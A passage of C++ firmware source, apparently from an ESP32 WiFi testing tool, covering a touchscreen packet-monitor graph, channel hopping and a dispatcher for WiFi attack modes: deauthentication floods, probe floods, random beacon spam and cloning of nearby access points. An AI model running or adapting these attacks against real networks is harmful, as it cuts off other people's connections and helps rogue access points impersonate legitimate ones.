  2004. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2005. {
  2006. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2007. }
  2008. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2009. //y_pos_y_old = y_pos_y;
  2010. //y_pos_z_old = y_pos_z;
  2011. //delay(50);
  2012. }
  2013. sd_obj.main();
  2014. }
  2015. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2016. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2017. display_obj.tftDrawChannelScaleButtons(set_channel);
  2018. display_obj.tftDrawExitScaleButtons();
  2019. display_obj.tftDrawEapolColorKey();
  2020. display_obj.tftDrawGraphObjects(x_scale);
  2021. }
  2022. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2023. {
  2024. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2025. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2026. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2027. {
  2028. currentTime = millis();
  2029. do_break = false;
  2030. y_pos_x = 0;
  2031. y_pos_y = 0;
  2032. y_pos_z = 0;
  2033. boolean pressed = false;
  2034. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2035. // Do the touch stuff
  2036. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2037. if (pressed) {
  2038. Serial.print("Got touch | X: ");
  2039. Serial.print(t_x);
  2040. Serial.print(" Y: ");
  2041. Serial.println(t_y);
  2042. }
  2043. // Check buttons for presses
  2044. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2045. {
  2046. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2047. {
  2048. display_obj.key[b].press(true);
  2049. } else {
  2050. display_obj.key[b].press(false);
  2051. }
  2052. }
  2053. // Which buttons pressed
  2054. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2055. {
  2056. if (display_obj.key[b].justPressed())
  2057. {
  2058. Serial.println("Bro, key pressed");
  2059. //do_break = true;
  2060. }
  2061. if (display_obj.key[b].justReleased())
  2062. {
  2063. do_break = true;
  2064. // X - button pressed
  2065. if (b == 0) {
  2066. if (x_scale > 1) {
  2067. x_scale--;
  2068. delay(70);
  2069. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2070. display_obj.tftDrawXScaleButtons(x_scale);
  2071. display_obj.tftDrawYScaleButtons(y_scale);
  2072. display_obj.tftDrawChannelScaleButtons(set_channel);
  2073. display_obj.tftDrawExitScaleButtons();
  2074. break;
  2075. }
  2076. }
  2077. // X + button pressed
  2078. else if (b == 1) {
  2079. if (x_scale < 6) {
  2080. x_scale++;
  2081. delay(70);
  2082. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2083. display_obj.tftDrawXScaleButtons(x_scale);
  2084. display_obj.tftDrawYScaleButtons(y_scale);
  2085. display_obj.tftDrawChannelScaleButtons(set_channel);
  2086. display_obj.tftDrawExitScaleButtons();
  2087. break;
  2088. }
  2089. }
  2090. // Y - button pressed
  2091. else if (b == 2) {
  2092. if (y_scale > 1) {
  2093. y_scale--;
  2094. delay(70);
  2095. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2096. display_obj.tftDrawXScaleButtons(x_scale);
  2097. display_obj.tftDrawYScaleButtons(y_scale);
  2098. display_obj.tftDrawChannelScaleButtons(set_channel);
  2099. display_obj.tftDrawExitScaleButtons();
  2100. //updateMidway();
  2101. break;
  2102. }
  2103. }
  2104. // Y + button pressed
  2105. else if (b == 3) {
  2106. if (y_scale < 9) {
  2107. y_scale++;
  2108. delay(70);
  2109. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2110. display_obj.tftDrawXScaleButtons(x_scale);
  2111. display_obj.tftDrawYScaleButtons(y_scale);
  2112. display_obj.tftDrawChannelScaleButtons(set_channel);
  2113. display_obj.tftDrawExitScaleButtons();
  2114. //updateMidway();
  2115. break;
  2116. }
  2117. }
  2118. // Channel - button pressed
  2119. else if (b == 4) {
  2120. if (set_channel > 1) {
  2121. Serial.println("Shit channel down");
  2122. set_channel--;
  2123. delay(70);
  2124. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2125. display_obj.tftDrawXScaleButtons(x_scale);
  2126. display_obj.tftDrawYScaleButtons(y_scale);
  2127. display_obj.tftDrawChannelScaleButtons(set_channel);
  2128. display_obj.tftDrawExitScaleButtons();
  2129. changeChannel();
  2130. break;
  2131. }
  2132. }
  2133. // Channel + button pressed
  2134. else if (b == 5) {
  2135. if (set_channel < MAX_CHANNEL) {
  2136. Serial.println("Shit channel up");
  2137. set_channel++;
  2138. delay(70);
  2139. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2140. display_obj.tftDrawXScaleButtons(x_scale);
  2141. display_obj.tftDrawYScaleButtons(y_scale);
  2142. display_obj.tftDrawChannelScaleButtons(set_channel);
  2143. display_obj.tftDrawExitScaleButtons();
  2144. changeChannel();
  2145. break;
  2146. }
  2147. }
  2148. else if (b == 6) {
  2149. Serial.println("Exiting packet monitor...");
  2150. this->StartScan(WIFI_SCAN_OFF);
  2151. //display_obj.tft.init();
  2152. this->orient_display = true;
  2153. return;
  2154. }
  2155. }
  2156. }
  2157. if (currentTime - initTime >= GRAPH_REFRESH) {
  2158. //Serial.println("-----------------------------------------");
  2159. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2160. x_pos += x_scale;
  2161. initTime = millis();
  2162. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2163. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2164. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2165. //Serial.println("num_beacon: " + (String)num_beacon);
  2166. //Serial.println("num_deauth: " + (String)num_deauth);
  2167. //Serial.println(" num_probe: " + (String)num_probe);
  2168. num_beacon = 0;
  2169. num_probe = 0;
  2170. num_deauth = 0;
  2171. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2172. //Plot "X" value
  2173. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2174. //Plot "Z" value
  2175. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2176. //Plot "Y" value
  2177. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2178. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2179. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2180. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2181. {
  2182. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2183. }
  2184. else
  2185. {
  2186. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2187. }
  2188. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2189. //if (x_pos <= 90)
  2190. if (x_pos < 0) // below x axis
  2191. {
  2192. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2193. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2194. }
  2195. else
  2196. {
  2197. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2198. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2199. }
  2200. //tftDisplayTime();
  2201. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2202. {
  2203. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2204. }
  2205. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2206. y_pos_y_old = y_pos_y;
  2207. y_pos_z_old = y_pos_z;
  2208. //delay(50);
  2209. }
  2210. sd_obj.main();
  2211. }
  2212. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2213. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2214. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2215. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2216. display_obj.tftDrawYScaleButtons(y_scale);
  2217. display_obj.tftDrawChannelScaleButtons(set_channel);
  2218. display_obj.tftDrawExitScaleButtons();
  2219. display_obj.tftDrawColorKey();
  2220. display_obj.tftDrawGraphObjects(x_scale);
  2221. }
  2222. #endif
  2223. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2224. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2225. // showMetadata(snifferPacket, type);
  2226. //}
  2227. void WiFiScan::changeChannel()
  2228. {
  2229. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2230. delay(1);
  2231. }
  2232. // Function to cycle to the next channel
  2233. void WiFiScan::channelHop()
  2234. {
  2235. this->set_channel = this->set_channel + 1;
  2236. if (this->set_channel > 13) {
  2237. this->set_channel = 1;
  2238. }
  2239. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2240. delay(1);
  2241. }
  2242. char* WiFiScan::stringToChar(String string) {
  2243. char buf[string.length() + 1] = {};
  2244. string.toCharArray(buf, string.length() + 1);
  2245. return buf;
  2246. }
  2247. // Function for updating scan status
  2248. void WiFiScan::main(uint32_t currentTime)
  2249. {
  2250. // WiFi operations
  2251. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2252. (currentScanMode == WIFI_SCAN_AP) ||
  2253. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2254. (currentScanMode == WIFI_SCAN_PWN) ||
  2255. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2256. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2257. (currentScanMode == WIFI_SCAN_ALL))
  2258. {
  2259. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2260. {
  2261. initTime = millis();
  2262. channelHop();
  2263. }
  2264. }
  2265. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2266. {
  2267. #ifdef HAS_SCREEN
  2268. packetMonitorMain(currentTime);
  2269. #endif
  2270. }
  2271. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2272. {
  2273. #ifdef HAS_SCREEN
  2274. eapolMonitorMain(currentTime);
  2275. #endif
  2276. }
  2277. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2278. for (int i = 0; i < 55; i++)
  2279. this->sendProbeAttack(currentTime);
  2280. if (currentTime - initTime >= 1000) {
  2281. initTime = millis();
  2282. String displayString = "";
  2283. String displayString2 = "";
  2284. displayString.concat(text18);
  2285. displayString.concat(packets_sent);
  2286. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2287. displayString2.concat(" ");
  2288. #ifdef HAS_SCREEN
  2289. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2290. display_obj.showCenterText(displayString2, 160);
  2291. display_obj.showCenterText(displayString, 160);
  2292. #endif
  2293. packets_sent = 0;
  2294. }
  2295. }
  2296. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2297. for (int i = 0; i < 55; i++)
  2298. this->sendDeauthAttack(currentTime);
  2299. if (currentTime - initTime >= 1000) {
  2300. initTime = millis();
  2301. String displayString = "";
  2302. String displayString2 = "";
  2303. displayString.concat(text18);
  2304. displayString.concat(packets_sent);
  2305. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2306. displayString2.concat(" ");
  2307. #ifdef HAS_SCREEN
  2308. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2309. display_obj.showCenterText(displayString2, 160);
  2310. display_obj.showCenterText(displayString, 160);
  2311. #endif
  2312. packets_sent = 0;
  2313. }
  2314. }
  2315. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2316. // Need this for loop because getTouch causes ~10ms delay
  2317. // which makes beacon spam less effective
  2318. for (int i = 0; i < access_points->size(); i++) {
  2319. if (access_points->get(i).selected)
  2320. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2321. random(256),
  2322. random(256),
  2323. random(256),
  2324. random(256),
  2325. random(256)}});
  2326. }
  2327. if (currentTime - initTime >= 1000)
  2328. {
  2329. initTime = millis();
  2330. //Serial.print("packets/sec: ");
  2331. //Serial.println(packets_sent);
  2332. String displayString = "";
  2333. String displayString2 = "";
  2334. displayString.concat(text18);
  2335. displayString.concat(packets_sent);
  2336. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2337. displayString2.concat(" ");
  2338. #ifdef HAS_SCREEN
  2339. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2340. display_obj.showCenterText(displayString2, 160);
  2341. display_obj.showCenterText(displayString, 160);
  2342. #endif
  2343. packets_sent = 0;
  2344. }
  2345. }
  2346. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2347. {
  2348. // Need this for loop because getTouch causes ~10ms delay
  2349. // which makes beacon spam less effective
  2350. for (int i = 0; i < 55; i++)
  2351. broadcastRandomSSID(currentTime);
  2352. if (currentTime - initTime >= 1000)
  2353. {
  2354. initTime = millis();
  2355. //Serial.print("packets/sec: ");
  2356. //Serial.println(packets_sent);
  2357. String displayString = "";
  2358. String displayString2 = "";
  2359. displayString.concat(text18);
  2360. displayString.concat(packets_sent);
  2361. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2362. displayString2.concat(" ");
  2363. #ifdef HAS_SCREEN
  2364. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2365. display_obj.showCenterText(displayString2, 160);
  2366. display_obj.showCenterText(displayString, 160);
  2367. #endif
  2368. packets_sent = 0;
  2369. }
  2370. }
  2371. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2372. for (int i = 0; i < ssids->size(); i++)
  2373. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2374. if (currentTime - initTime >= 1000)
  2375. {
  2376. initTime = millis();
  2377. packets_sent = 0;
  2378. }
  2379. }
  2380. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2381. for (int i = 0; i < access_points->size(); i++) {
  2382. if (access_points->get(i).selected)
  2383. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2384. }
  2385. if (currentTime - initTime >= 1000) {
  2386. initTime = millis();
  2387. packets_sent = 0;
  2388. }
  2389. }
  2390. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2391. {
  2392. // Need this for loop because getTouch causes ~10ms delay
  2393. // which makes beacon spam less effective
  2394. for (int i = 0; i < 7; i++)
  2395. {
  2396. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2397. {
  2398. broadcastSetSSID(currentTime, rick_roll[x]);
  2399. }
  2400. }
  2401. if (currentTime - initTime >= 1000)
  2402. {
  2403. initTime = millis();
  2404. //Serial.print("packets/sec: ");
  2405. //Serial.println(packets_sent);
  2406. String displayString = "";
  2407. String displayString2 = "";
  2408. displayString.concat(text18);
  2409. displayString.concat(packets_sent);
  2410. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2411. displayString2.concat(" ");
  2412. #ifdef HAS_SCREEN
  2413. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2414. display_obj.showCenterText(displayString2, 160);
  2415. display_obj.showCenterText(displayString, 160);
  2416. #endif
  2417. packets_sent = 0;
  2418. }
  2419. }
  2420. }